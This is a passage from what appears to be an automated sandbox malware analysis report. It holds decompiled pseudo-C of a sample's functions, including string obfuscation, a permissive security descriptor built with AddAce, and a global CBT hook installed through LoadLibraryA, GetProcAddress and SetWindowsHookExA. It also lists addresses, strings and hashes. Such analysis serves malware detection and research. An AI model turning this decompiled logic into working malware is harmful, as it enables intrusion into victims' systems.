					 *(_t298 + _t229 + 0x27) =  *(_t298 + _t229 + 0x27) ^  *(_t298 + _t229 + 0x17);
					_t229 = _t229 + 4;
				} while (_t229 < 0x10);
				_t295 =  *0x431f34; // 0x32
				 *0x431f34 = _t295 + 0x32;
				 *((char*)(_t298 + 0x1c)) = 0x41;
				 *((char*)(_t298 + 0x1d)) = 0x63;
				 *((char*)(_t298 + 0x1e)) = 0x74;
				 *((char*)(_t298 + 0x1f)) = 0x69;
				 *((char*)(_t298 + 0x20)) = 0x76;
				 *((char*)(_t298 + 0x21)) = 0x65;
				 *((char*)(_t298 + 0x22)) = 0x4f;
				 *((char*)(_t298 + 0x23)) = 0x50;
				 *((char*)(_t298 + 0x24)) = 0;
				 *0x431f38 = _t264 + 0x3d5;
				_t297 = HeapAlloc(GetProcessHeap(), 8, 0xff);
				_t233 = RegOpenKeyExA(0x80000002, _t298 + 0x40, 0, 1, _t298 + 0x10); // executed
				if(_t233 == 0) {
					 *((intOrPtr*)(_t294 + 0x90)) = 0x18;
					 *(_t294 + 0x98) = 1;
				} else {
					_t233 = GetLastError();
					 *(_t294 + 0x94) = _t233;
				}
				_t234 = _t233 | 0xffffffff;
				_t212 = _t294 + 0x94; // 0x431d2c
				_t291 = _t212;
				 *(_t294 + 0x84) = _t234;
				 *(_t294 + 0x88) = _t234;
				 *(_t294 + 0x8c) = _t234;
				 *((intOrPtr*)(_t294 + 0x9c)) = E0041F020(_t298 + 0x28, _t212);
				 *((intOrPtr*)(_t294 + 0xa0)) = E0041F100(_t294, _t298 + 0x18, _t291);
				HeapFree(GetProcessHeap(), 0, _t297);
				RegCloseKey( *(_t298 + 0x10));
				return E00424873(0,  *((intOrPtr*)(_t298 + 0x7c)));
			}

0x004210d3
0x004210db
0x004210df
0x004210e5
0x004210e9
0x004210f1
0x004210f5
0x004210f9
0x004210ff
0x00421103
0x0042110c
0x00421111
0x00421116
0x0042111b
0x00421120
0x00421125
0x0042112a
0x0042112f
0x00421134
0x00421139
0x0042113e
0x00421142
0x00421146
0x0042114b
0x00421150
0x00421155
0x0042115a
0x0042115f
0x00421164
0x00421169
0x0042116e
0x00421173
0x00421178
0x0042117d
0x00421182
0x00421187
0x0042118c
0x00421191
0x00421196
0x0042119b
0x004211a0
0x004211a5
0x004211a9
0x004211ad
0x004211b2
0x004211b7
0x004211bc
0x004211c0
0x004211c5
0x004211c9
0x004211ce
0x004211d3
0x004211d8
0x004211dd
0x004211e2
0x004211e6
0x004211eb
0x004211f0
0x004211f5
0x004211fa
0x004211ff
0x00421204
0x00421209
0x0042120e
0x00421213
0x00421218
0x0042121c
0x00421221
0x00421226
0x0042122a
0x0042122f
0x00421236
0x0042123a
0x00421240
0x00421244
0x0042124c
0x00421254
0x00421257
0x0042125b
0x00421262
0x00421266
0x0042126a
0x0042126f
0x00421274
0x00421279
0x0042127e
0x00421283
0x00421288
0x0042128d
0x00421292
0x00421297
0x0042129c
0x004212a1
0x004212a6
0x004212ab
0x004212b0
0x004212b5
0x004212ba
0x004212bf
0x004212c4
0x004212c9
0x004212ce
0x004212d3
0x004212d8
0x004212dd
0x004212e2
0x004212e7
0x004212ec
0x004212f1
0x004212f6
0x00421300
0x00421304
0x0042130c
0x00421310
0x00421314
0x0042131c
0x00421324
0x00421338
0x0042133b
0x0042133f
0x00421348
0x0042134c
0x00421350
0x00421355
0x0042135a
0x0042135f
0x00421364
0x00421368
0x0042136d
0x00421372
0x00421377
0x0042137c
0x00421381
0x00421386
0x0042138b
0x00421390
0x00421395
0x0042139a
0x0042139e
0x004213a3
0x004213a8
0x004213ad
0x004213b2
0x004213b6
0x004213bb
0x004213c0
0x004213c5
0x004213ca
0x004213cf
0x004213d4
0x004213d9
0x004213de
0x004213e3
0x004213e5
0x004213f3
0x00421401
0x0042140f
0x00421413
0x00421417
0x0042141a
0x0042141f
0x00421459
0x0042145f
0x00421464
0x00421469
0x0042146e
0x00421473
0x00421478
0x0042147d
0x00421482
0x00421487
0x0042148c
0x0042149c
0x004214b1
0x004214b9
0x004214c9
0x004214d3
0x004214bb
0x004214bb
0x004214c1
0x004214c1
0x004214dd
0x004214e0
0x004214e0
0x004214ee
0x004214f4
0x004214fa
0x00421505
0x0042151b
0x00421524
0x0042152f
0x00421547

Strings

t, xrefs: 00421469
p, xrefs: 004212EC
i, xrefs: 0042146E
q, xrefs: 00421395
B, xrefs: 004212AB
8, xrefs: 0042137C
c, xrefs: 00421464
), xrefs: 0042112A
G, xrefs: 0042121C
*, xrefs: 0042115A
6, xrefs: 00421368
T, xrefs: 0042110C
i, xrefs: 00421169
l, xrefs: 004211E6
G@,, xrefs: 004210D3
w(B, xrefs: 00421310
M, xrefs: 0042126F
, xrefs: 00421173
', xrefs: 004211D3
F, xrefs: 00421213
Z, xrefs: 00421187
S, xrefs: 00421125
(, xrefs: 004212B0
, xrefs: 004213BB
A, xrefs: 0042145F
`, xrefs: 00421274
P, xrefs: 00421482
0, xrefs: 00421178
H, xrefs: 004211A0
e, xrefs: 00421478
L, xrefs: 0042118C
{, xrefs: 004212C9
5, xrefs: 004213A3
p, xrefs: 0042117D
I, xrefs: 004211FA
N, xrefs: 00421139
~, xrefs: 00421381
q, xrefs: 004212E7
&, xrefs: 004211AD
v, xrefs: 00421473
O, xrefs: 0042147D
#, xrefs: 00421196
v, xrefs: 0042116E
(, xrefs: 004211D8
f, xrefs: 00421372
^, xrefs: 004211B2

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID:
String ID: $ $#$&$'$($($)$*$0$5$6$8$A$B$F$G$G@,$H$I$L$M$N$O$P$S$T$Z$^$`$c$e$f$i$i$l$p$p$q$q$t$v$v$w(B${$~
API String ID: 0-1112392425
Opcode ID: 7ffee0a367cd91da12548a0672ee88ef15d007f6f0e5a8efa2edde75e2af7312
Instruction ID: b9ab1dd3182530b11e39c15e962d93472a180878fd51d4fd0559e01a76d35aec
Opcode Fuzzy Hash: 7ffee0a367cd91da12548a0672ee88ef15d007f6f0e5a8efa2edde75e2af7312
Instruction Fuzzy Hash: 9EE1D32110D7C189D322DB7C945868FBFD05BA7228F581A9DF1E45B3E3C2A98249C76B

Uniqueness

Uniqueness Score: -1.00%

Function 00423260, Relevance: 67.0, APIs: 37, Strings: 1, Instructions: 460
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E00423260(void* __ebx, void* __edi, void* __esi) {
				intOrPtr _t126;
				void* _t128;
				long _t130;
				long _t131;
				long _t132;
				long _t133;
				void* _t134;
				struct _SECURITY_DESCRIPTOR* _t135;
				int _t142;
				int _t144;
				int _t146;
				void* _t149;
				unsigned int _t160;
				signed int _t164;
				signed int _t174;
				signed int _t179;
				signed int _t183;
				signed int _t196;
				void* _t202;
				void* _t227;
				void* _t229;
				signed char _t230;
				signed char _t231;
				struct _ACL** _t235;
				signed int _t247;
				struct _ACL** _t252;
				signed int _t257;
				signed int _t258;
				signed int _t269;
				signed int _t270;
				signed char _t298;
				signed int _t301;
				void* _t312;
				signed int _t318;
				void* _t335;
				void* _t337;
				void* _t338;
				void* _t340;
				void* _t341;
				long _t343;
				long _t344;
				void* _t345;

				_t126 =  *0x4310d8; // 0x2c0d4047
				 *((intOrPtr*)(_t345 + 0x2c)) = _t126;
				 *(_t345 + 0x24) = 0;
				 *((char*)(_t345 + 0x25)) = 0;
				 *((char*)(_t345 + 0x26)) = 0;
				 *((char*)(_t345 + 0x27)) = 0;
				 *(_t345 + 0x28) = 0;
				 *((char*)(_t345 + 0x29)) = 5;
				 *(_t345 + 0x18) = 0;
				 *((intOrPtr*)(_t345 + 0xc)) = 0;
				 *(_t345 + 0x10) = 0;
				 *(_t345 + 0x14) = 0;
				_t335 = GetProcessHeap();
				_t128 = HeapAlloc(_t335, 8, 0x14);
				 *( *((intOrPtr*)(_t345 + 0x34)) + 4) = _t128;
				if(_t128 != 0) {
					_t227 = HeapAlloc(_t335, 8, 0x1000);
					if(_t227 != 0) {
						_t130 = RtlAllocateHeap(_t335, 8, 0x1000); // executed
						_t343 = _t130;
						 *(_t345 + 0x40) = _t343;
						if(_t343 != 0) {
							_t131 = HeapAlloc(_t335, 8, 0x1000);
							 *(_t345 + 0x44) = _t131;
							if(_t131 != 0) {
								_t132 = HeapAlloc(_t335, 8, 0x44);
								 *(_t345 + 0x20) = _t132;
								if(_t132 != 0) {
									_t133 = RtlAllocateHeap(_t335, 8, 0x1000); // executed
									_t344 = _t133;
									if(_t344 != 0) {
										_t134 =  *(_t345 + 0x20);
										_t312 =  *(_t345 + 0x38);
										 *(_t345 + 0x10) = _t134;
										 *(_t345 + 0x14) = _t134;
										 *(_t345 + 0x18) = _t134;
										_t135 =  *(_t312 + 4);
										 *(_t345 + 0x28) = _t135;
										if(InitializeSecurityDescriptor(_t135, 1) == 0 || OpenProcessToken(GetCurrentProcess(), 0xf01ff, _t345 + 0x1c) == 0) {
											goto L7;
										} else {
											_t142 = GetTokenInformation( *(_t345 + 0x1c), 4, _t227, 0x1000, _t345 + 0x24); // executed
											if(_t142 == 0) {
												goto L7;
											} else {
												_t144 = GetTokenInformation( *(_t345 + 0x1c), 5,  *(_t345 + 0x40), 0x1000, _t345 + 0x24); // executed
												if(_t144 == 0) {
													goto L7;
												} else {
													_t146 = GetTokenInformation( *(_t345 + 0x1c), 6,  *(_t345 + 0x44), 0x1000, _t345 + 0x24); // executed
													if(_t146 == 0) {
														goto L7;
													} else {
														_t229 =  *_t227;
														if(_t229 == 0 || SetSecurityDescriptorOwner( *(_t312 + 4), _t229, 1) == 0) {
															goto L7;
														} else {
															_t149 =  *( *(_t345 + 0x40));
															if(_t149 == 0 || SetSecurityDescriptorGroup( *(_t312 + 4), _t149, 1) == 0 || AllocateAndInitializeSid(_t345 + 0x50, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0, _t345 + 0x10) == 0 ||  *(_t345 + 0x10) == 0) {
																goto L7;
															} else {
																_t230 =  *0x431f44; // 0x63
																_t231 = _t230 | 0x00000043;
																_t55 = _t344 + 8; // 0x8
																 *0x431f48 = 0xf;
																 *_t344 = 0;
																 *((char*)(_t344 + 1)) = 0;
																 *((intOrPtr*)(_t344 + 4)) = 0x101fffff;
																 *(_t344 + 2) = 0x10 + ( *( *(_t345 + 0x10) + 1) & 0x000000ff) * 4;
																_t160 = GetLengthSid( *(_t345 + 0x10));
																_t337 =  *(_t345 + 0x10);
																_t247 = _t160 >> 2;
																memcpy(_t337 + _t247 + _t247, _t337, memcpy(_t55, _t337, _t247 << 2) & 0x00000003);
																_t345 = _t345 + 0x18;
																_t252 =  *(_t345 + 0x44);
																 *_t252->AclSize =  *_t252->AclSize +  *(_t344 + 2);
																_t164 =  *0x431f48; // 0x21
																 *0x431f44 = 0x63;
																 *0x431f48 = _t164 * 0x0000002d & _t231 & 0x000000ff ^ 0x0000000f;
																if(AddAce( *_t252,  *( *_t252) & 0x000000ff, 0xffffffff, _t344,  *(_t344 + 2) & 0x0000ffff) == 0) {
																	goto L7;
																} else {
																	_t318 =  *0x431f44; // 0x63
																	 *0x431f48 =  *0x431f48 & 0x0000006d;
																	 *0x431f44 = _t318 | 0x0000006d;
																	if(AllocateAndInitializeSid(_t345 + 0x50, 2, 0x20, 0x221, 0, 0, 0, 0, 0, 0, _t345 + 0x14) == 0 ||  *(_t345 + 0x14) == 0) {
																		goto L7;
																	} else {
																		_t174 =  *0x431f48; // 0x21
																		 *0x431f44 =  *0x431f48 & 0x0000ffff | 0x00000041;
																		 *_t344 = 0;
																		 *((char*)(_t344 + 1)) = 0;
																		 *((intOrPtr*)(_t344 + 4)) = 0x101fffff;
																		 *(_t345 + 0x40) = (_t231 ^ 0x0000006d) & _t174 * 0x00000061 &  *0x431f44;
																		 *(_t344 + 2) = 0x10 + ( *( *(_t345 + 0x10) + 1) & 0x000000ff) * 4;
																		_t179 = GetLengthSid( *(_t345 + 0x14));
																		_t338 =  *(_t345 + 0x14);
																		_t235 =  *(_t345 + 0x44);
																		_t257 = _t179;
																		_t258 = _t257 >> 2;
																		_t89 = _t344 + 8; // 0x8
																		memcpy(_t89, _t338, _t258 << 2);
																		memcpy(_t338 + _t258 + _t258, _t338, _t257 & 0x00000003);
																		_t345 = _t345 + 0x18;
																		 *_t235->AclSize =  *_t235->AclSize +  *(_t344 + 2);
																		_t298 =  *0x431f48; // 0x21
																		_t183 =  *0x431f44; // 0x63
																		 *0x431f44 = _t183 - 0x63;
																		 *0x431f48 = 0x21;
																		 *(_t345 + 0x40) =  *(_t345 + 0x40) & _t298 & 0x00000083;
																		if(AddAce( *_t235,  *( *_t235) & 0x000000ff, 0xffffffff, _t344,  *(_t344 + 2) & 0x0000ffff) == 0) {
																			goto L7;
																		} else {
																			_t301 =  *0x431f44; // 0x63
																			 *0x431f48 =  *0x431f48 - (( *(_t345 + 0x40) +  *(_t345 + 0x40) * 0x00000002 << 0x00000001) + _t301 & 0x0000000f);
																			if(AllocateAndInitializeSid(_t345 + 0x50, 1, 0x12, 0, 0, 0, 0, 0, 0, 0, _t345 + 0x18) == 0 ||  *(_t345 + 0x18) == 0) {
																				goto L7;
																			} else {
																				 *0x431f44 = 0x63;
																				 *_t344 = 0;
																				 *((char*)(_t344 + 1)) = 0;
																				 *((intOrPtr*)(_t344 + 4)) = 0x101fffff;
																				 *(_t344 + 2) = 0x10 + ( *( *(_t345 + 0x10) + 1) & 0x000000ff) * 4;
																				_t196 = GetLengthSid( *(_t345 + 0x18));
																				_t340 =  *(_t345 + 0x18);
																				_t269 = _t196;
																				_t270 = _t269 >> 2;
																				_t112 = _t344 + 8; // 0x8
																				memcpy(_t112, _t340, _t270 << 2);
																				memcpy(_t340 + _t270 + _t270, _t340, _t269 & 0x00000003);
																				_t345 = _t345 + 0x18;
																				 *_t235->AclSize =  *_t235->AclSize +  *(_t344 + 2);
																				 *0x431f48 = 0x21;
																				if(AddAce( *_t235,  *( *_t235) & 0x000000ff, 0xffffffff, _t344,  *(_t344 + 2) & 0x0000ffff) == 0) {
																					goto L7;
																				} else {
																					_t202 =  *(_t345 + 0x20);
																					 *(_t202 + 2) =  *(_t202 + 2) | 0x00000004;
																					_t341 =  *(_t345 + 0x38);
																					 *(_t202 + 0x10) =  *_t235;
																					if(IsValidSecurityDescriptor( *(_t341 + 4)) == 0) {
																						goto L7;
																					} else {
																						 *(_t341 + 8) = 1;
																						 *_t341 = 0xc;
																						return E00424873(1,  *((intOrPtr*)(_t345 + 0x30)));
																					}
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									} else {
										HeapFree(_t335, _t133,  *(_t345 + 0x38));
										HeapFree(_t335, _t344, _t227);
										HeapFree(_t335, _t344,  *(_t345 + 0x40));
										HeapFree(_t335, _t344,  *(_t345 + 0x44));
										_push( *(_t345 + 0x20));
										goto L6;
									}
								} else {
									HeapFree(_t335, _t132,  *(_t345 + 0x38));
									HeapFree(_t335, 0, _t227);
									HeapFree(_t335, 0, _t343);
									_push( *(_t345 + 0x44));
									goto L6;
								}
							} else {
								HeapFree(_t335, _t131,  *(_t345 + 0x38));
								HeapFree(_t335, 0, _t227);
								_push(_t343);
								goto L6;
							}
						} else {
							HeapFree(_t335, _t343,  *(_t345 + 0x38));
							_push(_t227);
							L6:
							HeapFree(_t335, 0, ??);
							L7:
							return E00424873(0,  *(_t345 + 0x20));
						}
					} else {
						HeapFree(_t335, 0,  *(_t345 + 0x38));
						return E00424873(0,  *(_t345 + 0x20));
					}
				} else {
					return E00424873(0,  *(_t345 + 0x20));
				}
			}

0x00423263
0x0042326d
0x00423271
0x00423276
0x0042327b
0x00423280
0x00423285
0x0042328a
0x0042328f
0x00423293
0x00423297
0x0042329b
0x004232ad
0x004232b2
0x004232ba
0x004232bd
0x004232de
0x004232e2
0x0042330e
0x00423310
0x00423314
0x00423318
0x0042334c
0x00423350
0x00423354
0x00423373
0x00423377
0x0042337b
0x004233a7
0x004233a9
0x004233ad
0x004233df
0x004233e3
0x004233e7
0x004233eb
0x004233ef
0x004233f3
0x004233f9
0x00423405
0x00000000
0x0042342a
0x00423442
0x00423446
0x00000000
0x0042344c
0x00423462
0x00423466
0x00000000
0x0042346c
0x00423482
0x00423486
0x00000000
0x0042348c
0x0042348c
0x00423490
0x00000000
0x004234ab
0x004234af
0x004234b3
0x00000000
0x00423507
0x00423507
0x00423518
0x0042351b
0x00423524
0x0042352a
0x00423537
0x0042353b
0x00423549
0x00423552
0x00423558
0x0042355e
0x00423568
0x00423568
0x0042356e
0x00423574
0x00423578
0x00423584
0x00423593
0x004235b0
0x00000000
0x004235b6
0x004235b6
0x004235c1
0x004235e9
0x004235f7
0x00000000
0x00423609
0x00423609
0x00423627
0x0042362c
0x00423639
0x0042363d
0x00423644
0x0042364f
0x00423658
0x0042365e
0x00423662
0x00423666
0x0042366a
0x0042366d
0x00423670
0x00423677
0x00423677
0x0042367f
0x00423683
0x0042368d
0x0042369e
0x004236a3
0x004236b1
0x004236c7
0x00000000
0x004236cd
0x004236d1
0x004236fd
0x0042370c
0x00000000
0x0042371e
0x0042371e
0x00423724
0x00423731
0x00423735
0x00423743
0x0042374c
0x00423752
0x00423756
0x0042375a
0x0042375d
0x00423760
0x00423767
0x00423767
0x0042376f
0x00423773
0x00423793
0x00000000
0x00423799
0x0042379b
0x0042379f
0x004237a3
0x004237a7
0x004237b6
0x00000000
0x004237bc
0x004237c7
0x004237ca
0x004237da
0x004237da
0x004237b6
0x00423793
0x0042370c
0x004236c7
0x004235f7
0x004235b0
0x004234b3
0x00423490
0x00423486
0x00423466
0x00423446
0x004233af
0x004233bc
0x004233c1
0x004233ca
0x004233d3
0x004233d9
0x00000000
0x004233d9
0x0042337d
0x0042338a
0x00423390
0x00423396
0x0042339c
0x00000000
0x0042339c
0x00423356
0x00423363
0x00423369
0x0042336b
0x00000000
0x0042336b
0x0042331a
0x00423327
0x00423329
0x0042332a
0x0042332d
0x0042332f
0x00423341
0x00423341
0x004232e4
0x004232eb
0x00423303
0x00423303
0x004232c1
0x004232d0
0x004232d0

APIs

GetProcessHeap.KERNEL32 ref: 0042329F
HeapAlloc.KERNEL32(00000000,00000008,00000014), ref: 004232B2
HeapAlloc.KERNEL32(00000000,00000008,00001000,00000000), ref: 004232DC
HeapFree.KERNEL32(00000000,00000000,?), ref: 004232EB

Strings

G@,, xrefs: 00423263

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: Heap$Alloc$FreeProcess
String ID: G@,
API String ID: 4128259342-3496681718
Opcode ID: 8f0c75df61baccf555039c07e55f9e7a4c47b3d129244f42066f45807613cd4b
Instruction ID: cabeeef3d48c1ccb1133837745078946395a36f2d94fb2f40b145150ed7ea3f1
Opcode Fuzzy Hash: 8f0c75df61baccf555039c07e55f9e7a4c47b3d129244f42066f45807613cd4b
Instruction Fuzzy Hash: 27F1BC70204354ABD310DF25DC41F6B7BE9EB89700F44492DF984DB290DBB9EA05CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 0041F660, Relevance: 35.1, APIs: 3, Strings: 17, Instructions: 125
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0041F660(void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v4;
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				intOrPtr _t63;
				short _t64;
				struct HINSTANCE__* _t77;
				_Unknown_base(*)()* _t80;
				struct HHOOK__* _t81;
				intOrPtr _t89;
				void* _t106;
				char* _t107;

				_t107 =  &_v52;
				_t63 =  *0x4310d8; // 0x2c0d4047
				_v4 = _t63;
				_t64 =  *0x431f38; // 0x2d2c
				_t106 = __ecx;
				_v30 = 0x54;
				_v52 = 0x54;
				_v50 = 0x7c;
				_v47 = 0x7c;
				_v17 = 0x7c;
				_v51 = 0x2c;
				_v46 = 0x2c;
				_t89 = 0;
				_v32 = 0x43;
				_v31 = 0x42;
				_v29 = 0x50;
				_v28 = 0x72;
				_v27 = 0x6f;
				_v26 = 0x63;
				_v25 = 0;
				_v49 = 0xc;
				_v48 = 0x12;
				_v45 = 0xe7;
				_v44 = 0x50;
				_v43 = 0x8d;
				_v42 = 0x53;
				_v41 = 0x29;
				_v40 = 0xa2;
				_v39 = 0xa8;
				_v38 = 0x4e;
				_v37 = 0x45;
				_v36 = 0xc5;
				_v24 = 0xf;
				_v23 = 0x41;
				_v22 = 0xf9;
				_v21 = 0x68;
				_v20 = 0x22;
				_v19 = 0xb8;
				_v18 = 0xd;
				_v16 = 0xe1;
				_v15 = 0xa7;
				_v14 = 0xf;
				_v13 = 0xe;
				_v12 = 0x8c;
				_v11 = 0xbc;
				_v10 = 0x1e;
				_v9 = 0x27;
				_v8 = 0x3b;
				 *0x431f38 = _t64 + 0xaa5;
				do {
					_t107[_t89 + 8] = _t107[_t89 + 8] + _t107[_t89 + 0x24];
					_t89 = _t89 + 1;
				} while (_t89 < 0x11);
				_t50 = _t106 + 0x17c; // 0x0
				_t101 = 1;
				if( *_t50 == 0) {
					_t52 = _t106 + 0x1c; // 0x0
					if( *_t52 == 0 ||  *((intOrPtr*)(__ecx + 4)) <= 5) {
						_t77 = LoadLibraryA( &_v52); // executed
						 *(_t106 + 0x170) = _t77;
						if(_t77 == 0) {
							goto L8;
						} else {
							_t80 = GetProcAddress(_t77,  &_v32);
							 *(_t106 + 0x174) = _t80;
							if(_t80 != 0) {
								_t59 = _t106 + 0x170; // 0x0
								_t81 = SetWindowsHookExA(5, _t80,  *_t59, 0);
								 *(_t106 + 0x178) = _t81;
								if(_t81 == 0) {
									_t101 = 0;
								}
								 *((intOrPtr*)(_t106 + 0x17c)) = _t101;
								return E00424873(_t101, _v8);
							} else {
								goto L8;
							}
						}
					} else {
						L8:
						return E00424873(0, _v4);
					}
				} else {
					return E00424873(1, _v4);
				}
			}

0x0041f660
0x0041f663
0x0041f668
0x0041f66c
0x0041f687
0x0041f68f
0x0041f693
0x0041f6a3
0x0041f6a7
0x0041f6ab
0x0041f6af
0x0041f6b3
0x0041f6b9
0x0041f6c0
0x0041f6c5
0x0041f6ca
0x0041f6cf
0x0041f6d4
0x0041f6d9
0x0041f6de
0x0041f6e3
0x0041f6e8
0x0041f6ed
0x0041f6f2
0x0041f6f7
0x0041f6fc
0x0041f701
0x0041f706
0x0041f70b
0x0041f710
0x0041f715
0x0041f71a
0x0041f71f
0x0041f723
0x0041f728
0x0041f72d
0x0041f732
0x0041f737
0x0041f73c
0x0041f741
0x0041f746
0x0041f74b
0x0041f74f
0x0041f754
0x0041f759
0x0041f75e
0x0041f763
0x0041f768
0x0041f76d
0x0041f773
0x0041f77d
0x0041f781
0x0041f782
0x0041f787
0x0041f78f
0x0041f794
0x0041f7a7
0x0041f7ac
0x0041f7b9
0x0041f7c1
0x0041f7c7
0x00000000
0x0041f7c9
0x0041f7cf
0x0041f7d7
0x0041f7dd
0x0041f7f0
0x0041f7fc
0x0041f804
0x0041f80a
0x0041f80c
0x0041f80c
0x0041f812
0x0041f824
0x00000000
0x00000000
0x00000000
0x0041f7dd
0x0041f7df
0x0041f7df
0x0041f7ef
0x0041f7ef
0x0041f796
0x0041f7a6
0x0041f7a6

APIs

LoadLibraryA.KERNELBASE(00000000), ref: 0041F7B9
GetProcAddress.KERNEL32(00000000,00000043), ref: 0041F7CF
SetWindowsHookExA.USER32 ref: 0041F7FC

Strings

), xrefs: 0041F701
B, xrefs: 0041F6C5
P, xrefs: 0041F6CA
P, xrefs: 0041F6F2
S, xrefs: 0041F6FC
r, xrefs: 0041F6CF
c, xrefs: 0041F6D9
h, xrefs: 0041F72D
E, xrefs: 0041F715
A, xrefs: 0041F723
N, xrefs: 0041F710
;, xrefs: 0041F768
o, xrefs: 0041F6D4
G@,, xrefs: 0041F663
", xrefs: 0041F732
', xrefs: 0041F763
C, xrefs: 0041F6C0

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: AddressHookLibraryLoadProcWindows
String ID: "$'$)$;$A$B$C$E$G@,$N$P$P$S$c$h$o$r
API String ID: 2564493370-3997055060
Opcode ID: 00a429360f83fa20652cea882935d05cc92ee5958ea3b9dd59ca4227aa40c6aa
Instruction ID: d6bcc57e59aaaf67e7ff94e30ae49016207e17142ead068d2604868bf6eb43c5
Opcode Fuzzy Hash: 00a429360f83fa20652cea882935d05cc92ee5958ea3b9dd59ca4227aa40c6aa
Instruction Fuzzy Hash: D6514B2520C3C19AD311DB39984478BBFD15FA6318F484AADF0E9873D2D3A9C54AC76B

Uniqueness

Uniqueness Score: -1.00%

Function 00425D91, Relevance: 12.1, APIs: 8, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			_entry_(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				signed int _t35;
				struct HINSTANCE__* _t38;
				void* _t40;
				intOrPtr _t47;
				signed int _t50;
				intOrPtr _t52;
				signed int _t63;
				signed int _t64;
				long _t68;
				void* _t70;
				intOrPtr* _t77;
				long _t78;
				struct _OSVERSIONINFOA* _t84;
				signed int _t86;
				void* _t89;
				struct _OSVERSIONINFOA* _t90;

				_push(0x60);
				E0042664C(__ebx, __edi, __esi);
				E004254B0(0x94, __ecx, 0x42e598);
				 *(_t89 - 0x18) = _t90;
				_t84 = _t90;
				_t84->dwOSVersionInfoSize = 0x94;
				GetVersionExA(_t84);
				_t68 = _t84->dwPlatformId;
				 *0x432214 = _t68;
				_t35 = _t84->dwMajorVersion;
				 *0x432220 = _t35;
				_t78 = _t84->dwMinorVersion;
				 *0x432224 = _t78;
				_t86 = _t84->dwBuildNumber & 0x00007fff;
				 *0x432218 = _t86;
				if(_t68 != 2) {
					 *0x432218 = _t86 | 0x00008000;
				}
				 *0x43221c = (_t35 << 8) + _t78;
				_t38 = GetModuleHandleA(0);
				if(_t38->i != 0x5a4d) {
					L6:
					 *(_t89 - 0x1c) = 0;
				} else {
					_t77 =  *((intOrPtr*)(_t38 + 0x3c)) + _t38;
					if( *_t77 != 0x4550) {
						goto L6;
					} else {
						_t63 =  *(_t77 + 0x18) & 0x0000ffff;
						if(_t63 == 0x10b) {
							__eflags =  *((intOrPtr*)(_t77 + 0x74)) - 0xe;
							if( *((intOrPtr*)(_t77 + 0x74)) <= 0xe) {
								goto L6;
							} else {
								_t64 = 0;
								__eflags =  *(_t77 + 0xe8);
								goto L11;
							}
						} else {
							if(_t63 == 0x20b) {
								__eflags =  *((intOrPtr*)(_t77 + 0x84)) - 0xe;
								if( *((intOrPtr*)(_t77 + 0x84)) <= 0xe) {
									goto L6;
								} else {
									_t64 = 0;
									__eflags =  *(_t77 + 0xf8);
									L11:
									_t14 = __eflags != 0;
									__eflags = _t14;
									 *(_t89 - 0x1c) = _t64 & 0xffffff00 | _t14;
								}
							} else {
								goto L6;
							}
						}
					}
				}
				if(E0042846F(1) == 0) {
					E00425D6D(0x1c);
				}
				_t40 = E00427120();
				_t100 = _t40;
				if(_t40 == 0) {
					E00425D6D(0x10);
				}
				E0042AD49(_t100);
				 *(_t89 - 4) = 0;
				if(E0042AB4B() < 0) {
					E00425D48(0x1b);
				}
				 *0x4338bc = GetCommandLineA();
				 *0x432040 = E0042AA29();
				if(E0042A987() < 0) {
					E00425D48(8);
				}
				if(E0042A754() < 0) {
					E00425D48(9);
				}
				_t47 = E004291EA(1);
				_pop(_t70);
				 *((intOrPtr*)(_t89 - 0x28)) = _t47;
				if(_t47 != 0) {
					E00425D48(_t47);
					_pop(_t70);
				}
				 *(_t89 - 0x44) = 0;
				GetStartupInfoA(_t89 - 0x70);
				 *((intOrPtr*)(_t89 - 0x20)) = E0042A6F7();
				if(( *(_t89 - 0x44) & 0x00000001) == 0) {
					_t50 = 0xa;
				} else {
